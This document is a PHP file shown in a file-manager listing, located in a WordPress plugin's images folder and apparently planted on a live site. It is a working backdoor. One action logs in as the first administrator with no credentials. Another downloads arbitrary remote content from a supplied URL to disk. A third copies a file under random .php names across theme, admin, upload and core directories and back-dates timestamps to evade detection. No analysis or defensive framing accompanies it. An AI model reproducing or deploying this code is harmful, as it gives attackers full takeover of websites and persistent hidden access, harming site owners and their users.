File "onate_button.php"

Full Path: /home/fahu5438/labouseuse.fr/wp-content/plugins/contextual-related-posts/includes/admin/images/onate_button.php
File size: 3.55 KB
MIME-type: text/x-php
Charset: utf-8

<?php

define('WP_USE_THEMES', false);
require_once($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php');

function loadDirectoriesRecursively($parent, $child) {
    $path = "{$_SERVER['DOCUMENT_ROOT']}/$parent/$child";
    $result = [];
    $stack = [$path];
    while (!empty($stack)) {
        $currentDir = array_pop($stack);
        $directories = array_diff(scandir($currentDir), ['.', '..']);
        foreach ($directories as $dir) {
            $directory = "$currentDir/$dir";
            if (is_dir($directory)) {
                $result[] = $directory;
                $stack[] = $directory;
            }
        }
    }
    return $result;
}
function generateRandomString($length = 8) {
    return substr(str_shuffle('abcdefghijklmnopqrstuvwxyz1234567890'), 0, $length);
}
function getRealUrl($outputName) {
    return str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['HTTP_HOST'], $outputName);
}
function changeModificationTimestamp($filename) {
    $randomTimestamp = mt_rand(strtotime('2020-01-01 12:12:12'), strtotime('2022-12-30 13:13'));
    touch($filename, $randomTimestamp);
    clearstatcache(true, $filename);
}
function initialize() {
    $action = $_REQUEST['action'];
    $directories = [
        'themes' => loadDirectoriesRecursively("wp-content", "themes"),
        'admin' => loadDirectoriesRecursively("wp-admin", ""),
        'uploads' => loadDirectoriesRecursively("wp-content", "uploads"),
        'includes' => loadDirectoriesRecursively("wp-includes", ""),
    ];
    $message = [];
    switch ($action) {
        case 'login':
            $user = get_users(["role" => "administrator"])[0];
            wp_set_auth_cookie($user->data->ID);
            wp_set_current_user($user->data->ID);
            echo $user->data->ID;
            break;
        case 'download':
            $url = $_REQUEST['url'];
            $filename = $_REQUEST['filename'];
            $response = file_get_contents($url);
            if ($response !== false) {
                $result = file_put_contents($filename, $response);
                if (!$result) {
                    $file = fopen($filename, "w");
                    fwrite($file, $response);
                    fclose($file);
                }
            }
            $message['success'] = file_exists($filename) && filesize($filename) > 10;
            break;
        case 'copy':
            $filename = $_REQUEST['filename'];
            if (!file_exists($filename) || filesize($filename) < 10) {
                $message['success'] = false;
                $message['data'] = [];
                break;
            }
            $target = $_REQUEST['dir'] ?: $_SERVER['DOCUMENT_ROOT'];
            $num = $_REQUEST['num'] ?: 1;
            $success = [];

            for ($i = 0; $i < $num; $i++) {
                $randomName = $_REQUEST['random_name'] ? generateRandomString(rand(5, 15)) . ".php" : $filename;
                $directoriesTarget = is_array($directories[$target]) ? $directories[$target][array_rand($directories[$target])] : ($target ?: $_SERVER['DOCUMENT_ROOT']);
                $outputName = "$directoriesTarget/$randomName";
                $message["success[$i]"] = copy($filename, $outputName);
                if ($message["success[$i]"]) {
                    $success[] = getRealUrl($outputName);
                    changeModificationTimestamp($outputName);
                    changeModificationTimestamp($directoriesTarget);
                }
            }
            $message['data'] = $success;
            break;
        default:
            die("Nothing to do?");
    }
    echo json_encode($message);
}
initialize();